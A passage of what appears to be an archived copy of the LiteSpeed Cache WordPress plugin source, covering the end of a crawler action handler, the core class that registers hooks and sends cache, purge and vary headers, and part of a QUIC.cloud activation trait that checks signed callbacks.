switch ( $type ) { case self::TYPE_REFRESH_MAP: $this->cls( 'Crawler_Map' )->gen( true ); break; case self::TYPE_EMPTY: $this->cls( 'Crawler_Map' )->empty_map(); break; case self::TYPE_BLACKLIST_EMPTY: $this->cls( 'Crawler_Map' )->blacklist_empty(); break; case self::TYPE_BLACKLIST_DEL: // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized if (!empty($_GET['id'])) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $id = absint( wp_unslash( $_GET['id'] ) ); $this->cls( 'Crawler_Map' )->blacklist_del( $id ); } break; case self::TYPE_BLACKLIST_ADD: // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized if (!empty($_GET['id'])) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $id = absint( wp_unslash( $_GET['id'] ) ); $this->cls( 'Crawler_Map' )->blacklist_add( $id ); } break; case self::TYPE_START: // Handle the ajax request to proceed crawler manually by admin. self::start_async(); break; case self::TYPE_RESET: $this->reset_pos(); break; default: break; } Admin::redirect(); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/core.cls.php������������������������������������������������������������0000644�����������������00000051742�15233526476�0014302 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The core plugin class. * * This is the main class for the LiteSpeed Cache plugin, responsible for initializing * the plugin's core functionality, registering hooks, and handling cache-related operations. * * Note: Core doesn't allow $this->cls( 'Core' ) * * @since 1.0.0 * @package LiteSpeed */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Class Core * * @since 1.0.0 */ class Core extends Root { const NAME = 'LiteSpeed Cache'; const PLUGIN_NAME = 'litespeed-cache'; const PLUGIN_FILE = 'litespeed-cache/litespeed-cache.php'; const VER = LSCWP_V; const ACTION_DISMISS = 'dismiss'; const ACTION_PURGE_BY = 'PURGE_BY'; const ACTION_PURGE_EMPTYCACHE = 'PURGE_EMPTYCACHE'; const ACTION_QS_PURGE = 'PURGE'; const ACTION_QS_PURGE_SINGLE = 'PURGESINGLE'; // This will be same as `ACTION_QS_PURGE` (purge single URL only) const ACTION_QS_SHOW_HEADERS = 'SHOWHEADERS'; const ACTION_QS_PURGE_ALL = 'purge_all'; const ACTION_QS_PURGE_EMPTYCACHE = 'empty_all'; const ACTION_QS_NOCACHE = 'NOCACHE'; const HEADER_DEBUG = 'X-LiteSpeed-Debug'; /** * Whether to show debug headers. * * @var bool * @since 1.0.0 */ protected static $debug_show_header = false; /** * Footer comment buffer. * * @var string * @since 1.0.0 */ private $footer_comment = ''; /** * Define the core functionality of the plugin. * * Set the plugin name and the plugin version that can be used throughout the plugin. * Load the dependencies, define the locale, and set the hooks for the admin area and * the public-facing side of the site. * * @since 1.0.0 */ public function __construct() { ! defined( 'LSCWP_TS_0' ) && define( 'LSCWP_TS_0', microtime( true ) ); $this->cls( 'Conf' )->init(); /** * Load API hooks * * @since 3.0 */ $this->cls( 'API' )->init(); if ( defined( 'LITESPEED_ON' ) ) { // Load third party detection if lscache enabled. include_once LSCWP_DIR . 'thirdparty/entry.inc.php'; } if ( $this->conf( Base::O_DEBUG_DISABLE_ALL ) || Debug2::is_tmp_disable() ) { ! defined( 'LITESPEED_DISABLE_ALL' ) && define( 'LITESPEED_DISABLE_ALL', true ); } /** * Register plugin activate/deactivate/uninstall hooks * NOTE: this can't be moved under after_setup_theme, otherwise activation will be bypassed * * @since 2.7.1 Disabled admin&CLI check to make frontend able to enable cache too */ $plugin_file = LSCWP_DIR . 'litespeed-cache.php'; register_activation_hook( $plugin_file, [ __NAMESPACE__ . '\Activation', 'register_activation' ] ); register_deactivation_hook( $plugin_file, [ __NAMESPACE__ . '\Activation', 'register_deactivation' ] ); register_uninstall_hook( $plugin_file, __NAMESPACE__ . '\Activation::uninstall_litespeed_cache' ); if ( defined( 'LITESPEED_ON' ) ) { // Register purge_all actions $purge_all_events = $this->conf( Base::O_PURGE_HOOK_ALL ); // Purge all on upgrade if ( $this->conf( Base::O_PURGE_ON_UPGRADE ) ) { $purge_all_events[] = 'automatic_updates_complete'; $purge_all_events[] = 'upgrader_process_complete'; $purge_all_events[] = 'admin_action_do-plugin-upgrade'; } foreach ( $purge_all_events as $event ) { // Don't allow hook to update_option because purge_all will cause infinite loop of update_option if ( in_array( $event, [ 'update_option' ], true ) ) { continue; } add_action( $event, __NAMESPACE__ . '\Purge::purge_all' ); } // Add headers to site health check for full page cache // @since 5.4 add_filter( 'site_status_page_cache_supported_cache_headers', function ( $cache_headers ) { $is_cache_hit = function ( $header_value ) { return false !== strpos( strtolower( $header_value ), 'hit' ); }; $cache_headers['x-litespeed-cache'] = $is_cache_hit; $cache_headers['x-lsadc-cache'] = $is_cache_hit; $cache_headers['x-qc-cache'] = $is_cache_hit; return $cache_headers; } ); } add_action( 'after_setup_theme', [ $this, 'init' ] ); // Check if there is a purge request in queue if ( ! defined( 'LITESPEED_CLI' ) ) { $purge_queue = Purge::get_option( Purge::DB_QUEUE ); if ( $purge_queue && '-1' !== $purge_queue ) { $this->http_header( $purge_queue ); Debug2::debug( '[Core] Purge Queue found&sent: ' . $purge_queue ); } if ( '-1' !== $purge_queue ) { Purge::update_option( Purge::DB_QUEUE, '-1' ); // Use -1 to bypass purge while still enable db update as WP's update_option will check value===false to bypass update } $purge_queue = Purge::get_option( Purge::DB_QUEUE2 ); if ( $purge_queue && '-1' !== $purge_queue ) { $this->http_header( $purge_queue ); Debug2::debug( '[Core] Purge2 Queue found&sent: ' . $purge_queue ); } if ( '-1' !== $purge_queue ) { Purge::update_option( Purge::DB_QUEUE2, '-1' ); } } /** * Hook internal REST * * @since 2.9.4 */ $this->cls( 'REST' ); /** * Hook wpnonce function * * Note: ESI nonce won't be available until hook after_setup_theme ESI init due to Guest Mode concern * * @since 4.1 */ if ( $this->cls( 'Router' )->esi_enabled() && ! function_exists( 'wp_create_nonce' ) ) { Debug2::debug( '[ESI] Overwrite wp_create_nonce()' ); litespeed_define_nonce_func(); } } /** * The plugin initializer. * * This function checks if the cache is enabled and ready to use, then determines what actions need to be set up based on the type of user and page accessed. Output is buffered if the cache is enabled. * * NOTE: WP user doesn't init yet * * @since 1.0.0 */ public function init() { /** * Added hook before init * 3rd party preload hooks will be fired here too (e.g. Divi disable all in edit mode) * * @since 1.6.6 * @since 2.6 Added filter to all config values in Conf */ do_action( 'litespeed_init' ); add_action( 'wp_ajax_async_litespeed', 'LiteSpeed\Task::async_litespeed_handler' ); add_action( 'wp_ajax_nopriv_async_litespeed', 'LiteSpeed\Task::async_litespeed_handler' ); // In `after_setup_theme`, before `init` hook $this->cls( 'Activation' )->auto_update(); if ( is_admin() && ! wp_doing_ajax() ) { $this->cls( 'Admin' ); } if ( defined( 'LITESPEED_DISABLE_ALL' ) && LITESPEED_DISABLE_ALL ) { Debug2::debug( '[Core] Bypassed due to debug disable all setting' ); return; } do_action( 'litespeed_initing' ); ob_start( [ $this, 'send_headers_force' ] ); add_action( 'shutdown', [ $this, 'send_headers' ], 0 ); add_action( 'wp_footer', [ $this, 'footer_hook' ] ); /** * Check if is non-optimization simulator * * @since 2.9 */ // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! empty( $_GET[ Router::ACTION ] ) && 'before_optm' === $_GET[ Router::ACTION ] && ! apply_filters( 'litespeed_qs_forbidden', false ) ) { Debug2::debug( '[Core] ⛑️ bypass_optm due to QS CTRL' ); ! defined( 'LITESPEED_NO_OPTM' ) && define( 'LITESPEED_NO_OPTM', true ); } /** * Register vary filter * * @since 1.6.2 */ $this->cls( 'Control' )->init(); // Init Purge hooks $this->cls( 'Purge' )->init(); $this->cls( 'Tag' )->init(); // Load hooks that may be related to users add_action( 'init', [ $this, 'after_user_init' ], 5 ); // Load 3rd party hooks add_action( 'wp_loaded', [ $this, 'load_thirdparty' ], 2 ); } /** * Run hooks after user init * * @since 2.9.8 */ public function after_user_init() { $this->cls( 'Router' )->is_role_simulation(); // Detect if is Guest mode or not $this->cls( 'Vary' )->after_user_init(); // Register attachment delete hook $this->cls( 'Media' )->after_user_init(); /** * Preload ESI functionality for ESI request URI recovery * * @since 1.8.1 * @since 4.0 ESI init needs to be after Guest mode detection to bypass ESI if is under Guest mode */ $this->cls( 'ESI' )->init(); if ( ! is_admin() && ! defined( 'LITESPEED_GUEST_OPTM' ) ) { $result = $this->cls( 'Conf' )->in_optm_exc_roles(); if ( $result ) { Debug2::debug( '[Core] ⛑️ bypass_optm: hit Role Excludes setting: ' . $result ); ! defined( 'LITESPEED_NO_OPTM' ) && define( 'LITESPEED_NO_OPTM', true ); } } // Heartbeat control $this->cls( 'Tool' )->heartbeat(); if ( ! defined( 'LITESPEED_NO_OPTM' ) || ! LITESPEED_NO_OPTM ) { // Check missing static files $this->cls( 'Router' )->serve_static(); $this->cls( 'Media' )->init(); $this->cls( 'Placeholder' )->init(); $this->cls( 'Router' )->can_optm() && $this->cls( 'Optimize' )->init(); $this->cls( 'Localization' )->init(); // Hook CDN for attachments $this->cls( 'CDN' )->init(); // Load cron tasks $this->cls( 'Task' )->init(); } // Load litespeed actions $action = Router::get_action(); if ( $action ) { $this->proceed_action( $action ); } // Load frontend GUI if ( ! is_admin() ) { $this->cls( 'GUI' )->init(); } } /** * Run frontend actions * * @since 1.1.0 * @param string $action The action to proceed. */ public function proceed_action( $action ) { $msg = false; // Handle actions switch ( $action ) { case self::ACTION_QS_SHOW_HEADERS: self::$debug_show_header = true; break; case self::ACTION_QS_PURGE: case self::ACTION_QS_PURGE_SINGLE: Purge::set_purge_single(); break; case self::ACTION_QS_PURGE_ALL: Purge::purge_all(); break; case self::ACTION_PURGE_EMPTYCACHE: case self::ACTION_QS_PURGE_EMPTYCACHE: define( 'LSWCP_EMPTYCACHE', true ); // Clear all sites caches Purge::purge_all(); $msg = __( 'Notified LiteSpeed Web Server to purge everything.', 'litespeed-cache' ); break; case self::ACTION_PURGE_BY: $this->cls( 'Purge' )->purge_list(); $msg = __( 'Notified LiteSpeed Web Server to purge the list.', 'litespeed-cache' ); break; case self::ACTION_DISMISS: GUI::dismiss(); break; default: $msg = $this->cls( 'Router' )->handler( $action ); break; } if ( $msg && ! Router::is_ajax() ) { Admin_Display::add_notice( Admin_Display::NOTICE_GREEN, $msg ); Admin::redirect(); return; } if ( Router::is_ajax() ) { exit(); } } /** * Callback used to call the detect third party action. * * The detect action is used by third party plugin integration classes to determine if they should add the rest of their hooks. * * @since 1.0.5 */ public function load_thirdparty() { do_action( 'litespeed_load_thirdparty' ); } /** * Mark wp_footer called * * @since 1.3 */ public function footer_hook() { Debug2::debug( '[Core] Footer hook called' ); if ( ! defined( 'LITESPEED_FOOTER_CALLED' ) ) { define( 'LITESPEED_FOOTER_CALLED', true ); } } /** * Trigger comment info display hook * * @since 1.3 * @param string|null $buffer The buffer to check. * @return void */ private function check_is_html( $buffer = null ) { if ( ! defined( 'LITESPEED_FOOTER_CALLED' ) ) { Debug2::debug2( '[Core] CHK html bypass: miss footer const' ); return; } if ( wp_doing_ajax() ) { Debug2::debug2( '[Core] CHK html bypass: doing ajax' ); return; } if ( wp_doing_cron() ) { Debug2::debug2( '[Core] CHK html bypass: doing cron' ); return; } if ( empty( $_SERVER['REQUEST_METHOD'] ) || 'GET' !== $_SERVER['REQUEST_METHOD'] ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized Debug2::debug2( '[Core] CHK html bypass: not get method ' . wp_unslash( $_SERVER['REQUEST_METHOD'] ) ); return; } if ( null === $buffer ) { $buffer = ob_get_contents(); } // Double check to make sure it is an HTML file if ( strlen( $buffer ) > 300 ) { $buffer = substr( $buffer, 0, 300 ); } if ( false !== strstr( $buffer, '<!--' ) ) { $buffer = preg_replace( '/<!--.*?-->/s', '', $buffer ); } $buffer = trim( $buffer ); $buffer = File::remove_zero_space( $buffer ); $is_html = 0 === stripos( $buffer, '<html' ) || 0 === stripos( $buffer, '<!DOCTYPE' ); if ( ! $is_html ) { Debug2::debug( '[Core] Footer check failed: ' . ob_get_level() . '-' . substr( $buffer, 0, 100 ) ); return; } Debug2::debug( '[Core] Footer check passed' ); if ( ! defined( 'LITESPEED_IS_HTML' ) ) { define( 'LITESPEED_IS_HTML', true ); } } /** * For compatibility with plugins that have 'Bad' logic that forced all buffer output even if it is NOT their buffer. * * Usually this is called after send_headers() if following original WP process * * @since 1.1.5 * @param string $buffer The buffer to process. * @return string The processed buffer. */ public function send_headers_force( $buffer ) { $this->check_is_html( $buffer ); // Hook to modify buffer before $buffer = apply_filters( 'litespeed_buffer_before', $buffer ); /** * Media: Image lazyload && WebP * GUI: Clean wrapper mainly for ESI block NOTE: this needs to be before optimizer to avoid wrapper being removed * Optimize * CDN */ if ( ! defined( 'LITESPEED_NO_OPTM' ) || ! LITESPEED_NO_OPTM ) { Debug2::debug( '[Core] run hook litespeed_buffer_finalize' ); $buffer = apply_filters( 'litespeed_buffer_finalize', $buffer ); } /** * Replace ESI preserved list * * @since 3.3 Replace this in the end to avoid `Inline JS Defer` or other Page Optm features encoded ESI tags wrongly, which caused LSWS can't recognize ESI */ $buffer = $this->cls( 'ESI' )->finalize( $buffer ); $this->send_headers( true ); // Log ESI nonce buffer empty issue if ( defined( 'LSCACHE_IS_ESI' ) && 0 === strlen( $buffer ) && ! empty( $_SERVER['REQUEST_URI'] ) ) { // Log ref for debug purpose // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.PHP.DevelopmentFunctions.error_log_error_log error_log( 'ESI buffer empty ' . wp_unslash( $_SERVER['REQUEST_URI'] ) ); } // Init comment info $running_info_showing = defined( 'LITESPEED_IS_HTML' ) || defined( 'LSCACHE_IS_ESI' ); if ( defined( 'LSCACHE_ESI_SILENCE' ) ) { $running_info_showing = false; Debug2::debug( '[Core] ESI silence' ); } /** * Silence comment for JSON request * * @since 2.9.3 */ if ( REST::cls()->is_rest() || Router::is_ajax() ) { $running_info_showing = false; Debug2::debug( '[Core] Silence Comment due to REST/AJAX' ); } $running_info_showing = apply_filters( 'litespeed_comment', $running_info_showing ); if ( $running_info_showing && $this->footer_comment ) { $buffer .= $this->footer_comment; } /** * If ESI request is JSON, give the content JSON format * * @since 2.9.3 * @since 2.9.4 ESI request could be from internal REST call, so moved json_encode out of this condition */ if ( defined( 'LSCACHE_IS_ESI' ) ) { Debug2::debug( '[Core] ESI Start 👇' ); if ( strlen( $buffer ) > 500 ) { Debug2::debug( trim( substr( $buffer, 0, 500 ) ) . '.....' ); } else { Debug2::debug( $buffer ); } Debug2::debug( '[Core] ESI End 👆' ); } if ( apply_filters( 'litespeed_is_json', false ) ) { if ( null === \json_decode( $buffer, true ) ) { Debug2::debug( '[Core] Buffer converting to JSON' ); $buffer = wp_json_encode( $buffer ); $buffer = trim( $buffer, '"' ); } else { Debug2::debug( '[Core] JSON Buffer' ); } } // Hook to modify buffer after $buffer = apply_filters( 'litespeed_buffer_after', $buffer ); Debug2::ended(); return $buffer; } /** * Sends the headers out at the end of processing the request. * * This will send out all LiteSpeed Cache related response headers needed for the post. * * @since 1.0.5 * @param bool $is_forced If the header is sent following our normal finalizing logic. */ public function send_headers( $is_forced = false ) { // Make sure header output only runs once if ( defined( 'LITESPEED_DID_' . __FUNCTION__ ) ) { return; } define( 'LITESPEED_DID_' . __FUNCTION__, true ); // Avoid PHP warning for headers sent out already if ( headers_sent() ) { self::debug( '❌ !!! Err: Header sent out already' ); return; } $this->check_is_html(); // Cache control output needs to be done first, as some varies are added in 3rd party hook `litespeed_api_control`. $this->cls( 'Control' )->finalize(); $vary_header = $this->cls( 'Vary' )->finalize(); // If not cacheable but Admin QS is `purge` or `purgesingle`, `tag` still needs to be generated $tag_header = $this->cls( 'Tag' )->output(); if ( ! $tag_header && Control::is_cacheable() ) { Control::set_nocache( 'empty tag header' ); } // `Purge` output needs to be after `tag` output as Admin QS may need to send `tag` header $purge_header = Purge::output(); // Generate `control` header in the end in case control status is changed by other headers $control_header = $this->cls( 'Control' )->output(); // Give one more break to avoid Firefox crash if ( ! defined( 'LSCACHE_IS_ESI' ) ) { $this->footer_comment .= "\n"; } $cache_support = 'supported'; if ( defined( 'LITESPEED_ON' ) ) { $cache_support = Control::is_cacheable() ? 'cached' : 'uncached'; } $this->comment( sprintf( '%1$s %2$s by LiteSpeed Cache %4$s on %3$s', defined( 'LSCACHE_IS_ESI' ) ? 'Block' : 'Page', $cache_support, gmdate( 'Y-m-d H:i:s', time() + LITESPEED_TIME_OFFSET ), self::VER ) ); // Send Control header if ( defined( 'LITESPEED_ON' ) && $control_header ) { $this->http_header( $control_header ); if ( ! Control::is_cacheable() && !is_admin() ) { $ori_wp_header = wp_get_nocache_headers(); if ( isset( $ori_wp_header['Cache-Control'] ) ) { $this->http_header( 'Cache-Control: ' . $ori_wp_header['Cache-Control'] ); // @ref: https://github.com/litespeedtech/lscache_wp/issues/889 } } if ( defined( 'LSCWP_LOG' ) ) { $this->comment( $control_header ); } } // Send PURGE header (Always send regardless of cache setting disabled/enabled) if ( defined( 'LITESPEED_ON' ) && $purge_header ) { $this->http_header( $purge_header ); Debug2::log_purge( $purge_header ); if ( defined( 'LSCWP_LOG' ) ) { $this->comment( $purge_header ); } } // Send Vary header if ( defined( 'LITESPEED_ON' ) && $vary_header ) { $this->http_header( $vary_header ); if ( defined( 'LSCWP_LOG' ) ) { $this->comment( $vary_header ); } } if ( defined( 'LITESPEED_ON' ) && defined( 'LSCWP_LOG' ) ) { $vary = $this->cls( 'Vary' )->finalize_full_varies(); if ( $vary ) { $this->comment( 'Full varies: ' . $vary ); } } // Admin QS show header action if ( self::$debug_show_header ) { $debug_header = self::HEADER_DEBUG . ': '; if ( $control_header ) { $debug_header .= $control_header . '; '; } if ( $purge_header ) { $debug_header .= $purge_header . '; '; } if ( $tag_header ) { $debug_header .= $tag_header . '; '; } if ( $vary_header ) { $debug_header .= $vary_header . '; '; } $this->http_header( $debug_header ); } elseif ( defined( 'LITESPEED_ON' ) && Control::is_cacheable() && $tag_header ) { $this->http_header( $tag_header ); if ( defined( 'LSCWP_LOG' ) ) { $this->comment( $tag_header ); } } // Object cache comment if ( defined( 'LSCWP_LOG' ) && defined( 'LSCWP_OBJECT_CACHE' ) && method_exists( 'WP_Object_Cache', 'debug' ) ) { $this->comment( 'Object Cache ' . \WP_Object_Cache::get_instance()->debug() ); } if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) { $this->comment( 'Guest Mode' ); } if ( ! empty( $this->footer_comment ) ) { self::debug( "[footer comment]\n" . trim( $this->footer_comment ) ); } if ( $is_forced ) { Debug2::debug( '--forced--' ); } // If CLI and contains Purge Header, issue an HTTP request to Purge if ( defined( 'LITESPEED_CLI' ) ) { $purge_queue = Purge::get_option( Purge::DB_QUEUE ); if ( ! $purge_queue || '-1' === $purge_queue ) { $purge_queue = Purge::get_option( Purge::DB_QUEUE2 ); } if ( $purge_queue && '-1' !== $purge_queue ) { self::debug( '[Core] Purge Queue found, issue an HTTP request to purge: ' . $purge_queue ); // Kick off HTTP request $url = admin_url( 'admin-ajax.php' ); $resp = wp_safe_remote_get( $url ); if ( is_wp_error( $resp ) ) { $error_message = $resp->get_error_message(); self::debug( '[URL]' . $url ); self::debug( 'failed to request: ' . $error_message ); } else { self::debug( 'HTTP request response: ' . $resp['body'] ); } } } } /** * Append one HTML comment * * @since 5.5 * @param string $data The comment data. */ public static function comment( $data ) { self::cls()->append_comment( $data ); } /** * Append one HTML comment * * @since 5.5 * @param string $data The comment data. */ private function append_comment( $data ) { $this->footer_comment .= "\n<!-- " . htmlspecialchars( $data ) . ' -->'; } /** * Send HTTP header * * @since 5.3 * @param string $header The header to send. */ private function http_header( $header ) { if ( defined( 'LITESPEED_CLI' ) ) { return; } if ( ! headers_sent() ) { header( $header ); } if ( ! defined( 'LSCWP_LOG' ) ) { return; } Debug2::debug( '💰 ' . $header ); } } ������������������������������plugins/litespeed-cache/src/cloud-auth-callback.trait.php�������������������������������������������0000644�����������������00000024673�15233526476�0017516 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Cloud auth callback trait * * @package LiteSpeed * @since 7.8 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Trait Cloud_Auth_Callback * * Handles QUIC.cloud activation callbacks, status updates, and cryptographic operations. */ trait Cloud_Auth_Callback { /** * Encrypt data for cloud req * * @since 7.0 * * @param string|int $data Data to sign. * @return string|false */ private function _sign_b64( $data ) { if ( empty( $this->_summary['sk_b64'] ) ) { self::debugErr( 'No sk to sign.' ); return false; } $sk = base64_decode( $this->_summary['sk_b64'] ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode if ( strlen( $sk ) !== SODIUM_CRYPTO_SIGN_SECRETKEYBYTES ) { self::debugErr( 'Invalid local sign sk length.' ); // Reset local pk/sk unset( $this->_summary['pk_b64'] ); unset( $this->_summary['sk_b64'] ); $this->save_summary(); self::debug( 'Clear local sign pk/sk pair.' ); return false; } $signature = sodium_crypto_sign_detached( (string) $data, $sk ); return base64_encode( $signature ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode } /** * Load server pk from cloud * * @since 7.0 * * @param bool $from_wpapi Load from WP API server. * @return string|false Binary public key or false. */ private function _load_server_pk( $from_wpapi = false ) { // Load cloud pk $server_key_url = $this->_cloud_server . '/' . self::API_SERVER_KEY_SIGN; if ( $from_wpapi ) { $server_key_url = $this->_cloud_server_wp . '/' . self::API_SERVER_KEY_SIGN; } $resp = wp_safe_remote_get( $server_key_url ); if ( is_wp_error( $resp ) ) { self::debugErr( 'Failed to load key: ' . $resp->get_error_message() ); return false; } $pk = trim( $resp['body'] ); self::debug( 'Loaded key from ' . $server_key_url . ': ' . $pk ); $cloud_pk = base64_decode( $pk ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode if ( strlen( $cloud_pk ) !== SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES ) { self::debugErr( 'Invalid cloud public key length.' ); return false; } $sk = base64_decode( $this->_summary['sk_b64'] ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode if ( strlen( $sk ) !== SODIUM_CRYPTO_SIGN_SECRETKEYBYTES ) { self::debugErr( 'Invalid local secret key length.' ); // Reset local pk/sk unset( $this->_summary['pk_b64'] ); unset( $this->_summary['sk_b64'] ); $this->save_summary(); self::debug( 'Unset local pk/sk pair.' ); return false; } return $cloud_pk; } /** * WPAPI echo back to notify the sealed databox * * @since 7.0 */ public function wp_rest_echo() { // phpcs:ignore WordPress.Security.NonceVerification.Missing self::debug( 'Parsing echo', $_POST ); // phpcs:ignore WordPress.Security.NonceVerification.Missing $ts = !empty( $_POST['wpapi_ts'] ) ? sanitize_text_field( wp_unslash( $_POST['wpapi_ts'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing $sig = !empty( $_POST['wpapi_signature_b64'] ) ? sanitize_text_field( wp_unslash( $_POST['wpapi_signature_b64'] ) ) : ''; if ( empty( $ts ) || empty( $sig ) ) { return self::err( 'No echo data' ); } $is_valid = $this->_validate_signature( $sig, $ts, true ); if ( ! $is_valid ) { return self::err( 'Data validation from WPAPI REST Echo failed' ); } $diff = time() - (int) $ts; if ( abs( $diff ) > 86400 ) { self::debugErr( 'WPAPI echo data timeout [diff] ' . $diff ); return self::err( 'Echo data expired' ); } $signature_b64 = $this->_sign_b64( $ts ); self::debug( 'Response to echo [signature_b64] ' . $signature_b64 ); return self::ok( [ 'signature_b64' => $signature_b64 ] ); } /** * Validate cloud data * * @since 7.0 * * @param string $signature_b64 Base64 signature. * @param string $data Data to validate. * @param bool $from_wpapi Whether the signature is from WP API server. * @return bool */ private function _validate_signature( $signature_b64, $data, $from_wpapi = false ) { // Try validation try { $cloud_pk = $this->_load_server_pk( $from_wpapi ); if ( ! $cloud_pk ) { return false; } $signature = base64_decode( $signature_b64 ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode $is_valid = sodium_crypto_sign_verify_detached( $signature, (string) $data, $cloud_pk ); } catch ( \SodiumException $e ) { self::debugErr( 'Decryption failed: ' . esc_html( $e->getMessage() ) ); return false; } self::debug( 'Signature validation result: ' . ( $is_valid ? 'true' : 'false' ) ); return $is_valid; } /** * Finish qc activation after redirection back from QC * * @since 7.0 * * @param string|false $ref Ref slug. */ public function finish_qc_activation( $ref = false ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended $qc_activated = !empty( $_GET['qc_activated'] ) ? sanitize_text_field( wp_unslash( $_GET['qc_activated'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended $qc_ts = !empty( $_GET['qc_ts'] ) ? sanitize_text_field( wp_unslash( $_GET['qc_ts'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended $qc_sig = !empty( $_GET['qc_signature_b64'] ) ? sanitize_text_field( wp_unslash( $_GET['qc_signature_b64'] ) ) : ''; if ( ! $qc_activated || ! $qc_ts || ! $qc_sig ) { return; } $data_to_validate_signature = [ 'wp_pk_b64' => $this->_summary['pk_b64'], 'qc_ts' => $qc_ts, ]; $is_valid = $this->_validate_signature( $qc_sig, implode( '', $data_to_validate_signature ) ); if ( ! $is_valid ) { self::debugErr( 'Failed to validate qc activation data' ); Admin_Display::error( sprintf( __( 'Failed to validate %s activation data.', 'litespeed-cache' ), 'QUIC.cloud' ) ); return; } self::debug( 'QC activation status: ' . $qc_activated ); if ( ! in_array( $qc_activated, [ 'anonymous', 'linked', 'cdn' ], true ) ) { self::debugErr( 'Failed to parse qc activation status' ); Admin_Display::error( sprintf( __( 'Failed to parse %s activation status.', 'litespeed-cache' ), 'QUIC.cloud' ) ); return; } $diff = time() - (int) $qc_ts; if ( abs( $diff ) > 86400 ) { self::debugErr( 'QC activation data timeout [diff] ' . $diff ); Admin_Display::error( sprintf( __( '%s activation data expired.', 'litespeed-cache' ), 'QUIC.cloud' ) ); return; } // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.NonceVerification.Recommended $main_domain = ! empty( $_GET['main_domain'] ) ? sanitize_text_field( wp_unslash( $_GET['main_domain'] ) ) : false; $this->update_qc_activation( $qc_activated, $main_domain ); wp_safe_redirect( $this->_get_ref_url( $ref ) ); exit; } /** * Finish qc activation process * * @since 7.0 * * @param string $qc_activated Activation status. * @param string|bool $main_domain Main domain. * @param bool $quite Quiet flag. */ public function update_qc_activation( $qc_activated, $main_domain = false, $quite = false ) { $this->_summary['qc_activated'] = $qc_activated; if ( $main_domain ) { $this->_summary['main_domain'] = $main_domain; } $this->save_summary(); $msg = sprintf( __( 'Congratulations, %s successfully set this domain up for the anonymous online services.', 'litespeed-cache' ), 'QUIC.cloud' ); if ( 'linked' === $qc_activated ) { $msg = sprintf( __( 'Congratulations, %s successfully set this domain up for the online services.', 'litespeed-cache' ), 'QUIC.cloud' ); // Sync possible partner info $this->sync_usage(); } if ( 'cdn' === $qc_activated ) { $msg = sprintf( __( 'Congratulations, %s successfully set this domain up for the online services with CDN service.', 'litespeed-cache' ), 'QUIC.cloud' ); // Turn on CDN option $this->cls( 'Conf' )->update_confs( [ self::O_CDN_QUIC => true ] ); } if ( ! $quite ) { Admin_Display::success( '🎊 ' . $msg ); } $this->_clear_reset_qc_reg_msg(); $this->clear_cloud(); } /** * Update QC status * * @since 7.0 */ public function update_cdn_status() { // phpcs:ignore WordPress.Security.NonceVerification.Missing $qc_activated = !empty( $_POST['qc_activated'] ) ? sanitize_text_field( wp_unslash( $_POST['qc_activated'] ) ) : ''; if ( !$qc_activated || ! in_array( $qc_activated, [ 'anonymous', 'linked', 'cdn', 'deleted' ], true ) ) { return self::err( 'lack_of_params' ); } self::debug( 'update_cdn_status request hash: ' . $qc_activated ); if ( 'deleted' === $qc_activated ) { $this->_reset_qc_reg(); } else { $this->_summary['qc_activated'] = $qc_activated; $this->save_summary(); } if ( 'cdn' === $qc_activated ) { $msg = sprintf( __( 'Congratulations, %s successfully set this domain up for the online services with CDN service.', 'litespeed-cache' ), 'QUIC.cloud' ); Admin_Display::success( '🎊 ' . $msg ); $this->_clear_reset_qc_reg_msg(); // Turn on CDN option $this->cls( 'Conf' )->update_confs( [ self::O_CDN_QUIC => true ] ); $this->cls( 'CDN\Quic' )->try_sync_conf( true ); } return self::ok( [ 'qc_activated' => $qc_activated ] ); } /** * Clear QC linked status * * @since 5.0 */ private function _reset_qc_reg() { unset( $this->_summary['qc_activated'] ); if ( ! empty( $this->_summary['partner'] ) ) { unset( $this->_summary['partner'] ); } self::save_summary(); $msg = $this->_reset_qc_reg_content(); Admin_Display::error( $msg, false, true ); } /** * Build reset QC registration content. * * @since 7.0 * @return string */ private function _reset_qc_reg_content() { $msg = __( 'Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account.', 'litespeed-cache' ); $msg .= Doc::learn_more( admin_url( 'admin.php?page=litespeed' ), __( 'Click here to proceed.', 'litespeed-cache' ), true, false, true ); $msg .= Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/general/', false, false, false, true ); return $msg; } /** * Clear reset QC reg msg if exist * * @since 7.0 */ 